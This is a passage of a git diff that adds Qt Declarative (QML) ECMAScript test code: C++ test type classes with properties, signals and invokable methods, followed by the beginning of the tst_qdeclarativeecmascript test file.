+ enum MyEnum { EnumValue1 = 0, EnumValue2 = 1 };
+ enum MyEnum2 { EnumValue3 = 2, EnumValue4 = 3 };
+
+ bool trueProperty() const { return true; }
+ bool falseProperty() const { return false; }
+
+ QString stringProperty() const { return m_string; }
+ void setStringProperty(const QString &s)
+ {
+ if (s == m_string)
+ return;
+ m_string = s;
+ emit stringChanged();
+ }
+
+ QObject *objectProperty() const { return m_object; }
+ void setObjectProperty(QObject *obj) {
+ if (obj == m_object)
+ return;
+ m_object = obj;
+ emit objectChanged();
+ }
+
+ QDeclarativeListProperty<QObject> objectListProperty() { return QDeclarativeListProperty<QObject>(this, m_objectQList); }
+
+ bool methodCalled() const { return m_methodCalled; }
+ bool methodIntCalled() const { return m_methodIntCalled; }
+
+ QString string() const { return m_string; }
+
+ static MyQmlAttachedObject *qmlAttachedProperties(QObject *o) {
+ return new MyQmlAttachedObject(o);
+ }
+
+ int deleteOnSet() const { return 1; }
+ void setDeleteOnSet(int v) { if(v) delete this; }
+
+ int value() const { return m_value; }
+ void setValue(int v) { m_value = v; }
+
+ int resettableProperty() const { return m_resetProperty; }
+ void setResettableProperty(int v) { m_resetProperty = v; }
+ void resetProperty() { m_resetProperty = 13; }
+
+ QRegExp regExp() { return m_regExp; }
+ void setRegExp(const QRegExp &regExp) { m_regExp = regExp; }
+
+ int console() const { return 11; }
+
+ int nonscriptable() const { return 0; }
+ void setNonscriptable(int) {}
+
+ MyQmlObject *myinvokableObject;
+ Q_INVOKABLE MyQmlObject *returnme() { return this; }
+
+ struct MyType {
+ int value;
+ };
+ QVariant variant() const { return m_variant; }
+
+signals:
+ void basicSignal();
+ void argumentSignal(int a, QString b, qreal c, MyEnum2 d, Qt::MouseButtons e);
+ void stringChanged();
+ void objectChanged();
+ void anotherBasicSignal();
+ void thirdBasicSignal();
+ void signalWithUnknownType(const MyQmlObject::MyType &arg);
+
+public slots:
+ void deleteMe() { delete this; }
+ void methodNoArgs() { m_methodCalled = true; }
+ void method(int a) { if(a == 163) m_methodIntCalled = true; }
+ void setString(const QString &s) { m_string = s; }
+ void myinvokable(MyQmlObject *o) { myinvokableObject = o; }
+ void variantMethod(const QVariant &v) { m_variant = v; }
+
+private:
+ friend class tst_qdeclarativeecmascript;
+ bool m_methodCalled;
+ bool m_methodIntCalled;
+
+ QObject *m_object;
+ QString m_string;
+ QList<QObject *> m_objectQList;
+ int m_value;
+ int m_resetProperty;
+ QRegExp m_regExp;
+ QVariant m_variant;
+};
+
+QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES)
+
+class MyQmlContainer : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<MyQmlObject> children READ children CONSTANT)
+public:
+ MyQmlContainer() {}
+
+ QDeclarativeListProperty<MyQmlObject> children() { return QDeclarativeListProperty<MyQmlObject>(this, m_children); }
+
+private:
+ QList<MyQmlObject*> m_children;
+};
+
+
+class MyExpression : public QDeclarativeExpression
+{
+ Q_OBJECT
+public:
+ MyExpression(QDeclarativeContext *ctxt, const QString &expr)
+ : QDeclarativeExpression(ctxt, 0, expr), changed(false)
+ {
+ QObject::connect(this, SIGNAL(valueChanged()), this, SLOT(expressionValueChanged()));
+ setNotifyOnValueChanged(true);
+ }
+
+ bool changed;
+
+public slots:
+ void expressionValueChanged() {
+ changed = true;
+ }
+};
+
+
+class MyDefaultObject1 : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int horseLegs READ horseLegs CONSTANT)
+ Q_PROPERTY(int antLegs READ antLegs CONSTANT)
+ Q_PROPERTY(int emuLegs READ emuLegs CONSTANT)
+public:
+ int horseLegs() const { return 4; }
+ int antLegs() const { return 6; }
+ int emuLegs() const { return 2; }
+};
+
+class MyDefaultObject3 : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int antLegs READ antLegs CONSTANT)
+ Q_PROPERTY(int humanLegs READ humanLegs CONSTANT)
+public:
+ int antLegs() const { return 7; } // Mutant
+ int humanLegs() const { return 2; }
+ int millipedeLegs() const { return 1000; }
+};
+
+class MyDeferredObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue NOTIFY valueChanged)
+ Q_PROPERTY(QObject *objectProperty READ objectProperty WRITE setObjectProperty)
+ Q_PROPERTY(QObject *objectProperty2 READ objectProperty2 WRITE setObjectProperty2)
+ Q_CLASSINFO("DeferredPropertyNames", "value,objectProperty,objectProperty2")
+
+public:
+ MyDeferredObject() : m_value(0), m_object(0), m_object2(0) {}
+
+ int value() const { return m_value; }
+ void setValue(int v) { m_value = v; emit valueChanged(); }
+
+ QObject *objectProperty() const { return m_object; }
+ void setObjectProperty(QObject *obj) { m_object = obj; }
+
+ QObject *objectProperty2() const { return m_object2; }
+ void setObjectProperty2(QObject *obj) { m_object2 = obj; }
+
+signals:
+ void valueChanged();
+
+private:
+ int m_value;
+ QObject *m_object;
+ QObject *m_object2;
+};
+
+class MyBaseExtendedObject : public QObject
+{
+Q_OBJECT
+Q_PROPERTY(int baseProperty READ baseProperty WRITE setBaseProperty)
+public:
+ MyBaseExtendedObject() : m_value(0) {}
+
+ int baseProperty() const { return m_value; }
+ void setBaseProperty(int v) { m_value = v; }
+
+private:
+ int m_value;
+};
+
+class MyExtendedObject : public MyBaseExtendedObject
+{
+Q_OBJECT
+Q_PROPERTY(int coreProperty READ coreProperty WRITE setCoreProperty)
+public:
+ MyExtendedObject() : m_value(0) {}
+
+ int coreProperty() const { return m_value; }
+ void setCoreProperty(int v) { m_value = v; }
+
+private:
+ int m_value;
+};
+
+class MyTypeObject : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(MyEnum)
+ Q_FLAGS(MyFlags)
+
+ Q_PROPERTY(QString id READ id WRITE setId)
+ Q_PROPERTY(QObject *objectProperty READ objectProperty WRITE setObjectProperty)
+ Q_PROPERTY(QDeclarativeComponent *componentProperty READ componentProperty WRITE setComponentProperty)
+ Q_PROPERTY(MyFlags flagProperty READ flagProperty WRITE setFlagProperty)
+ Q_PROPERTY(MyEnum enumProperty READ enumProperty WRITE setEnumProperty)
+ Q_PROPERTY(QString stringProperty READ stringProperty WRITE setStringProperty)
+ Q_PROPERTY(uint uintProperty READ uintProperty WRITE setUintProperty)
+ Q_PROPERTY(int intProperty READ intProperty WRITE setIntProperty)
+ Q_PROPERTY(qreal realProperty READ realProperty WRITE setRealProperty)
+ Q_PROPERTY(double doubleProperty READ doubleProperty WRITE setDoubleProperty)
+ Q_PROPERTY(float floatProperty READ floatProperty WRITE setFloatProperty)
+ Q_PROPERTY(QColor colorProperty READ colorProperty WRITE setColorProperty)
+ Q_PROPERTY(QDate dateProperty READ dateProperty WRITE setDateProperty)
+ Q_PROPERTY(QTime timeProperty READ timeProperty WRITE setTimeProperty)
+ Q_PROPERTY(QDateTime dateTimeProperty READ dateTimeProperty WRITE setDateTimeProperty)
+ Q_PROPERTY(QPoint pointProperty READ pointProperty WRITE setPointProperty)
+ Q_PROPERTY(QPointF pointFProperty READ pointFProperty WRITE setPointFProperty)
+ Q_PROPERTY(QSize sizeProperty READ sizeProperty WRITE setSizeProperty)
+ Q_PROPERTY(QSizeF sizeFProperty READ sizeFProperty WRITE setSizeFProperty)
+ Q_PROPERTY(QRect rectProperty READ rectProperty WRITE setRectProperty NOTIFY rectPropertyChanged)
+ Q_PROPERTY(QRect rectProperty2 READ rectProperty2 WRITE setRectProperty2)
+ Q_PROPERTY(QRectF rectFProperty READ rectFProperty WRITE setRectFProperty)
+ Q_PROPERTY(bool boolProperty READ boolProperty WRITE setBoolProperty)
+ Q_PROPERTY(QVariant variantProperty READ variantProperty WRITE setVariantProperty)
+ Q_PROPERTY(QVector3D vectorProperty READ vectorProperty WRITE setVectorProperty)
+ Q_PROPERTY(QUrl urlProperty READ urlProperty WRITE setUrlProperty)
+
+ Q_PROPERTY(QDeclarativeScriptString scriptProperty READ scriptProperty WRITE setScriptProperty)
+
+public:
+ MyTypeObject()
+ : objectPropertyValue(0), componentPropertyValue(0) {}
+
+ QString idValue;
+ QString id() const {
+ return idValue;
+ }
+ void setId(const QString &v) {
+ idValue = v;
+ }
+
+ QObject *objectPropertyValue;
+ QObject *objectProperty() const {
+ return objectPropertyValue;
+ }
+ void setObjectProperty(QObject *v) {
+ objectPropertyValue = v;
+ }
+
+ QDeclarativeComponent *componentPropertyValue;
+ QDeclarativeComponent *componentProperty() const {
+ return componentPropertyValue;
+ }
+ void setComponentProperty(QDeclarativeComponent *v) {
+ componentPropertyValue = v;
+ }
+
+ enum MyFlag { FlagVal1 = 0x01, FlagVal2 = 0x02, FlagVal3 = 0x04 };
+ Q_DECLARE_FLAGS(MyFlags, MyFlag)
+ MyFlags flagPropertyValue;
+ MyFlags flagProperty() const {
+ return flagPropertyValue;
+ }
+ void setFlagProperty(MyFlags v) {
+ flagPropertyValue = v;
+ }
+
+ enum MyEnum { EnumVal1, EnumVal2 };
+ MyEnum enumPropertyValue;
+ MyEnum enumProperty() const {
+ return enumPropertyValue;
+ }
+ void setEnumProperty(MyEnum v) {
+ enumPropertyValue = v;
+ }
+
+ QString stringPropertyValue;
+ QString stringProperty() const {
+ return stringPropertyValue;
+ }
+ void setStringProperty(const QString &v) {
+ stringPropertyValue = v;
+ }
+
+ uint uintPropertyValue;
+ uint uintProperty() const {
+ return uintPropertyValue;
+ }
+ void setUintProperty(const uint &v) {
+ uintPropertyValue = v;
+ }
+
+ int intPropertyValue;
+ int intProperty() const {
+ return intPropertyValue;
+ }
+ void setIntProperty(const int &v) {
+ intPropertyValue = v;
+ }
+
+ qreal realPropertyValue;
+ qreal realProperty() const {
+ return realPropertyValue;
+ }
+ void setRealProperty(const qreal &v) {
+ realPropertyValue = v;
+ }
+
+ double doublePropertyValue;
+ double doubleProperty() const {
+ return doublePropertyValue;
+ }
+ void setDoubleProperty(const double &v) {
+ doublePropertyValue = v;
+ }
+
+ float floatPropertyValue;
+ float floatProperty() const {
+ return floatPropertyValue;
+ }
+ void setFloatProperty(const float &v) {
+ floatPropertyValue = v;
+ }
+
+ QColor colorPropertyValue;
+ QColor colorProperty() const {
+ return colorPropertyValue;
+ }
+ void setColorProperty(const QColor &v) {
+ colorPropertyValue = v;
+ }
+
+ QDate datePropertyValue;
+ QDate dateProperty() const {
+ return datePropertyValue;
+ }
+ void setDateProperty(const QDate &v) {
+ datePropertyValue = v;
+ }
+
+ QTime timePropertyValue;
+ QTime timeProperty() const {
+ return timePropertyValue;
+ }
+ void setTimeProperty(const QTime &v) {
+ timePropertyValue = v;
+ }
+
+ QDateTime dateTimePropertyValue;
+ QDateTime dateTimeProperty() const {
+ return dateTimePropertyValue;
+ }
+ void setDateTimeProperty(const QDateTime &v) {
+ dateTimePropertyValue = v;
+ }
+
+ QPoint pointPropertyValue;
+ QPoint pointProperty() const {
+ return pointPropertyValue;
+ }
+ void setPointProperty(const QPoint &v) {
+ pointPropertyValue = v;
+ }
+
+ QPointF pointFPropertyValue;
+ QPointF pointFProperty() const {
+ return pointFPropertyValue;
+ }
+ void setPointFProperty(const QPointF &v) {
+ pointFPropertyValue = v;
+ }
+
+ QSize sizePropertyValue;
+ QSize sizeProperty() const {
+ return sizePropertyValue;
+ }
+ void setSizeProperty(const QSize &v) {
+ sizePropertyValue = v;
+ }
+
+ QSizeF sizeFPropertyValue;
+ QSizeF sizeFProperty() const {
+ return sizeFPropertyValue;
+ }
+ void setSizeFProperty(const QSizeF &v) {
+ sizeFPropertyValue = v;
+ }
+
+ QRect rectPropertyValue;
+ QRect rectProperty() const {
+ return rectPropertyValue;
+ }
+ void setRectProperty(const QRect &v) {
+ rectPropertyValue = v;
+ emit rectPropertyChanged();
+ }
+
+ QRect rectPropertyValue2;
+ QRect rectProperty2() const {
+ return rectPropertyValue2;
+ }
+ void setRectProperty2(const QRect &v) {
+ rectPropertyValue2 = v;
+ }
+
+ QRectF rectFPropertyValue;
+ QRectF rectFProperty() const {
+ return rectFPropertyValue;
+ }
+ void setRectFProperty(const QRectF &v) {
+ rectFPropertyValue = v;
+ }
+
+ bool boolPropertyValue;
+ bool boolProperty() const {
+ return boolPropertyValue;
+ }
+ void setBoolProperty(const bool &v) {
+ boolPropertyValue = v;
+ }
+
+ QVariant variantPropertyValue;
+ QVariant variantProperty() const {
+ return variantPropertyValue;
+ }
+ void setVariantProperty(const QVariant &v) {
+ variantPropertyValue = v;
+ }
+
+ QVector3D vectorPropertyValue;
+ QVector3D vectorProperty() const {
+ return vectorPropertyValue;
+ }
+ void setVectorProperty(const QVector3D &v) {
+ vectorPropertyValue = v;
+ }
+
+ QUrl urlPropertyValue;
+ QUrl urlProperty() const {
+ return urlPropertyValue;
+ }
+ void setUrlProperty(const QUrl &v) {
+ urlPropertyValue = v;
+ }
+
+ QDeclarativeScriptString scriptPropertyValue;
+ QDeclarativeScriptString scriptProperty() const {
+ return scriptPropertyValue;
+ }
+ void setScriptProperty(const QDeclarativeScriptString &v) {
+ scriptPropertyValue = v;
+ }
+
+ void doAction() { emit action(); }
+signals:
+ void action();
+ void rectPropertyChanged();
+};
+Q_DECLARE_OPERATORS_FOR_FLAGS(MyTypeObject::MyFlags)
+
+class MyDerivedObject : public MyTypeObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE bool intProperty() const {
+ return true;
+ }
+};
+
+Q_DECLARE_METATYPE(QScriptValue);
+class MyInvokableBaseObject : public QObject
+{
+ Q_OBJECT
+public:
+ inline ~MyInvokableBaseObject() = 0;
+
+ Q_INVOKABLE inline void method_inherited(int a);
+ Q_INVOKABLE inline void method_overload();
+};
+
+class MyInvokableObject : public MyInvokableBaseObject
+{
+ Q_OBJECT
+ Q_ENUMS(TestEnum)
+public:
+ enum TestEnum { EnumValue1, EnumValue2 };
+ MyInvokableObject() { reset(); }
+
+ int invoked() const { return m_invoked; }
+ bool error() const { return m_invokedError; }
+ const QVariantList &actuals() const { return m_actuals; }
+ void reset() { m_invoked = -1; m_invokedError = false; m_actuals.clear(); }
+
+ Q_INVOKABLE QPointF method_get_QPointF() { return QPointF(99.3, -10.2); }
+ Q_INVOKABLE QPoint method_get_QPoint() { return QPoint(9, 12); }
+
+ Q_INVOKABLE void method_NoArgs() { invoke(0); }
+ Q_INVOKABLE int method_NoArgs_int() { invoke(1); return 6; }
+ Q_INVOKABLE qreal method_NoArgs_real() { invoke(2); return 19.75; }
+ Q_INVOKABLE QPointF method_NoArgs_QPointF() { invoke(3); return QPointF(123, 4.5); }
+ Q_INVOKABLE QObject *method_NoArgs_QObject() { invoke(4); return this; }
+ Q_INVOKABLE MyInvokableObject *method_NoArgs_unknown() { invoke(5); return this; }
+ Q_INVOKABLE QScriptValue method_NoArgs_QScriptValue() { invoke(6); return QScriptValue("Hello world"); }
+ Q_INVOKABLE QVariant method_NoArgs_QVariant() { invoke(7); return QVariant("QML rocks"); }
+
+ Q_INVOKABLE void method_int(int a) { invoke(8); m_actuals << a; }
+ Q_INVOKABLE void method_intint(int a, int b) { invoke(9); m_actuals << a << b; }
+ Q_INVOKABLE void method_real(qreal a) { invoke(10); m_actuals << a; }
+ Q_INVOKABLE void method_QString(QString a) { invoke(11); m_actuals << a; }
+ Q_INVOKABLE void method_QPointF(QPointF a) { invoke(12); m_actuals << a; }
+ Q_INVOKABLE void method_QObject(QObject *a) { invoke(13); m_actuals << qVariantFromValue(a); }
+ Q_INVOKABLE void method_QScriptValue(QScriptValue a) { invoke(14); m_actuals << qVariantFromValue(a); }
+ Q_INVOKABLE void method_intQScriptValue(int a, QScriptValue b) { invoke(15); m_actuals << a << qVariantFromValue(b); }
+
+ Q_INVOKABLE void method_overload(int a) { invoke(16); m_actuals << a; }
+ Q_INVOKABLE void method_overload(int a, int b) { invoke(17); m_actuals << a << b; }
+ Q_INVOKABLE void method_overload(QString a) { invoke(18); m_actuals << a; }
+
+ Q_INVOKABLE void method_with_enum(TestEnum e) { invoke(19); m_actuals << (int)e; }
+
+ Q_INVOKABLE int method_default(int a, int b = 19) { invoke(20); m_actuals << a << b; return b; }
+
+ Q_INVOKABLE void method_QVariant(QVariant a, QVariant b = QVariant()) { invoke(21); m_actuals << a << b; }
+
+private:
+ friend class MyInvokableBaseObject;
+ void invoke(int idx) { if (m_invoked != -1) m_invokedError = true; m_invoked = idx;}
+ int m_invoked;
+ bool m_invokedError;
+ QVariantList m_actuals;
+};
+
+MyInvokableBaseObject::~MyInvokableBaseObject() {}
+
+void MyInvokableBaseObject::method_inherited(int a)
+{
+ static_cast<MyInvokableObject *>(this)->invoke(-3);
+ static_cast<MyInvokableObject *>(this)->m_actuals << a;
+}
+
+// This is a hidden overload of the MyInvokableObject::method_overload() method
+void MyInvokableBaseObject::method_overload()
+{
+ static_cast<MyInvokableObject *>(this)->invoke(-2);
+}
+
+class NumberAssignment : public QObject
+{
+ Q_OBJECT
+public:
+ Q_PROPERTY(qreal test1 READ test1 WRITE setTest1)
+ qreal _test1;
+ qreal test1() const { return _test1; }
+ void setTest1(qreal v) { _test1 = v; }
+
+ Q_PROPERTY(qreal test2 READ test2 WRITE setTest2)
+ qreal _test2;
+ qreal test2() const { return _test2; }
+ void setTest2(qreal v) { _test2 = v; }
+
+ Q_PROPERTY(qreal test3 READ test3 WRITE setTest3)
+ qreal _test3;
+ qreal test3() const { return _test3; }
+ void setTest3(qreal v) { _test3 = v; }
+
+ Q_PROPERTY(qreal test4 READ test4 WRITE setTest4)
+ qreal _test4;
+ qreal test4() const { return _test4; }
+ void setTest4(qreal v) { _test4 = v; }
+
+ Q_PROPERTY(int test5 READ test5 WRITE setTest5)
+ int _test5;
+ int test5() const { return _test5; }
+ void setTest5(int v) { _test5 = v; }
+
+ Q_PROPERTY(int test6 READ test6 WRITE setTest6)
+ int _test6;
+ int test6() const { return _test6; }
+ void setTest6(int v) { _test6 = v; }
+
+ Q_PROPERTY(int test7 READ test7 WRITE setTest7)
+ int _test7;
+ int test7() const { return _test7; }
+ void setTest7(int v) { _test7 = v; }
+
+ Q_PROPERTY(int test8 READ test8 WRITE setTest8)
+ int _test8;
+ int test8() const { return _test8; }
+ void setTest8(int v) { _test8 = v; }
+
+ Q_PROPERTY(unsigned int test9 READ test9 WRITE setTest9)
+ unsigned int _test9;
+ unsigned int test9() const { return _test9; }
+ void setTest9(unsigned int v) { _test9 = v; }
+
+ Q_PROPERTY(unsigned int test10 READ test10 WRITE setTest10)
+ unsigned int _test10;
+ unsigned int test10() const { return _test10; }
+ void setTest10(unsigned int v) { _test10 = v; }
+
+ Q_PROPERTY(unsigned int test11 READ test11 WRITE setTest11)
+ unsigned int _test11;
+ unsigned int test11() const { return _test11; }
+ void setTest11(unsigned int v) { _test11 = v; }
+
+ Q_PROPERTY(unsigned int test12 READ test12 WRITE setTest12)
+ unsigned int _test12;
+ unsigned int test12() const { return _test12; }
+ void setTest12(unsigned int v) { _test12 = v; }
+};
+
+class DefaultPropertyExtendedObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QObject *firstProperty READ firstProperty WRITE setFirstProperty)
+ Q_PROPERTY(QObject *secondProperty READ secondProperty WRITE setSecondProperty)
+public:
+ DefaultPropertyExtendedObject(QObject *parent = 0) : QObject(parent), m_firstProperty(0), m_secondProperty(0) {}
+
+ QObject *firstProperty() const { return m_firstProperty; }
+ QObject *secondProperty() const { return m_secondProperty; }
+ void setFirstProperty(QObject *property) { m_firstProperty = property; }
+ void setSecondProperty(QObject *property) { m_secondProperty = property; }
+private:
+ QObject* m_firstProperty;
+ QObject* m_secondProperty;
+};
+
+class OverrideDefaultPropertyObject : public DefaultPropertyExtendedObject
+{
+ Q_OBJECT
+ Q_CLASSINFO("DefaultProperty", "secondProperty")
+public:
+ OverrideDefaultPropertyObject() {}
+};
+
+class MyRevisionedBaseClassRegistered : public QObject
+{
+Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+ qreal propA() const { return m_pa; }
+ void setPropA(qreal p) {
+ if (p != m_pa) {
+ m_pa = p;
+ emit propAChanged();
+ }
+ }
+ qreal propB() const { return m_pb; }
+ void setPropB(qreal p) {
+ if (p != m_pb) {
+ m_pb = p;
+ emit propBChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodA() { }
+ Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+ void propAChanged();
+ void propBChanged();
+
+ void signalA();
+ Q_REVISION(1) void signalB();
+
+protected:
+ qreal m_pa;
+ qreal m_pb;
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+Q_OBJECT
+ Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+ Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+ qreal propC() const { return m_pc; }
+ void setPropC(qreal p) {
+ if (p != m_pc) {
+ m_pc = p;
+ emit propCChanged();
+ }
+ }
+ qreal propD() const { return m_pd; }
+ void setPropD(qreal p) {
+ if (p != m_pd) {
+ m_pd = p;
+ emit propDChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodC() { }
+ Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+ void propCChanged();
+ void propDChanged();
+
+ void signalC();
+ Q_REVISION(1) void signalD();
+
+protected:
+ qreal m_pc;
+ qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+ Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+ MyRevisionedClass() {}
+
+ qreal prop1() const { return m_p1; }
+ void setProp1(qreal p) {
+ if (p != m_p1) {
+ m_p1 = p;
+ emit prop1Changed();
+ }
+ }
+ qreal prop2() const { return m_p2; }
+ void setProp2(qreal p) {
+ if (p != m_p2) {
+ m_p2 = p;
+ emit prop2Changed();
+ }
+ }
+
+ Q_INVOKABLE void method1() { }
+ Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+ void prop1Changed();
+ void prop2Changed();
+
+ void signal1();
+ Q_REVISION(1) void signal2();
+
+protected:
+ qreal m_p1;
+ qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+ Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+ MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+ qreal prop3() const { return m_p3; }
+ void setProp3(qreal p) {
+ if (p != m_p3) {
+ m_p3 = p;
+ emit prop3Changed();
+ }
+ }
+ qreal prop4() const { return m_p4; }
+ void setProp4(qreal p) {
+ if (p != m_p4) {
+ m_p4 = p;
+ emit prop4Changed();
+ }
+ }
+
+ Q_INVOKABLE void method3() { }
+ Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+ void prop3Changed();
+ void prop4Changed();
+
+ void signal3();
+ Q_REVISION(1) void signal4();
+
+protected:
+ qreal m_p3;
+ qreal m_p4;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+Q_DECLARE_METATYPE(MyQmlObject::MyType)
+
+void registerTypes();
+
+#endif // TESTTYPES_H
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
new file mode 100644
index 00000000..f5b2061d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
@@ -0,0 +1,3105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtCore/qfileinfo.h>
+#include <QtCore/qdebug.h>
+#include <QtDeclarative/private/qdeclarativeguard_p.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qnumeric.h>
+#include <private/qdeclarativeengine_p.h>
+#include <private/qdeclarativeglobalscriptclass_p.h>
+#include <private/qscriptdeclarativeclass_p.h>
+#include "testtypes.h"
+#include "testhttpserver.h"
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+/*
+This test covers evaluation of ECMAScript expressions and bindings from within
+QML. This does not include static QML language issues.
+
+Static QML language issues are covered in qmllanguage
+*/
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath("data/" + filename));
+}
+
+inline QUrl TEST_FILE(const char *filename)
+{
+ return TEST_FILE(QLatin1String(filename));
+}
+
+class tst_qdeclarativeecmascript : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeecmascript() {}
+
+private slots:
+ void initTestCase();
+ void assignBasicTypes();
+ void idShortcutInvalidates();
+ void boolPropertiesEvaluateAsBool();
+ void methods();
+ void signalAssignment();
+ void bindingLoop();
+ void basicExpressions();
+ void basicExpressions_data();
+ void arrayExpressions();
+ void contextPropertiesTriggerReeval();
+ void objectPropertiesTriggerReeval();
+ void deferredProperties();
+ void deferredPropertiesErrors();
+ void extensionObjects();
+ void overrideExtensionProperties();
+ void attachedProperties();
+ void enums();
+ void valueTypeFunctions();
+ void constantsOverrideBindings();
+ void outerBindingOverridesInnerBinding();
+ void aliasPropertyAndBinding();
+ void nonExistentAttachedObject();
+ void scope();
+ void signalParameterTypes();
+ void objectsCompareAsEqual();
+ void dynamicCreation_data();
+ void dynamicCreation();
+ void dynamicDestruction();
+ void objectToString();
+ void selfDeletingBinding();
+ void extendedObjectPropertyLookup();
+ void scriptErrors();
+ void functionErrors();
+ void propertyAssignmentErrors();
+ void signalTriggeredBindings();
+ void listProperties();
+ void exceptionClearsOnReeval();
+ void exceptionSlotProducesWarning();
+ void exceptionBindingProducesWarning();
+ void transientErrors();
+ void shutdownErrors();
+ void compositePropertyType();
+ void jsObject();
+ void undefinedResetsProperty();
+ void listToVariant();
+ void multiEngineObject();
+ void deletedObject();
+ void attachedPropertyScope();
+ void scriptConnect();
+ void scriptDisconnect();
+ void ownership();
+ void cppOwnershipReturnValue();
+ void ownershipCustomReturnValue();
+ void qlistqobjectMethods();
+ void strictlyEquals();
+ void compiled();
+ void numberAssignment();
+ void propertySplicing();
+ void signalWithUnknownTypes();
+
+ void bug1();
+ void bug2();
+ void dynamicCreationCrash();
+ void regExpBug();
+ void nullObjectBinding();
+ void deletedEngine();
+ void libraryScriptAssert();
+ void variantsAssignedUndefined();
+ void qtbug_9792();
+ void qtcreatorbug_1289();
+ void noSpuriousWarningsAtShutdown();
+ void canAssignNullToQObject();
+ void functionAssignment_fromBinding();
+ void functionAssignment_fromJS();
+ void functionAssignment_fromJS_data();
+ void functionAssignmentfromJS_invalid();
+ void eval();
+ void function();
+ void qtbug_10696();
+ void qtbug_11606();
+ void qtbug_11600();
+ void nonscriptable();
+ void deleteLater();
+ void in();
+ void sharedAttachedObject();
+ void objectName();
+ void writeRemovesBinding();
+ void aliasBindingsAssignCorrectly();
+ void aliasBindingsOverrideTarget();
+ void aliasWritesOverrideBindings();
+ void pushCleanContext();
+ void realToInt();
+ void qtbug_20648();
+
+ void include();
+
+ void callQtInvokables();
+ void invokableObjectArg();
+ void invokableObjectRet();
+
+ void revisionErrors();
+ void revision();
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qdeclarativeecmascript::initTestCase() { registerTypes(); }
+
+void tst_qdeclarativeecmascript::assignBasicTypes()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("assignBasicTypes.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
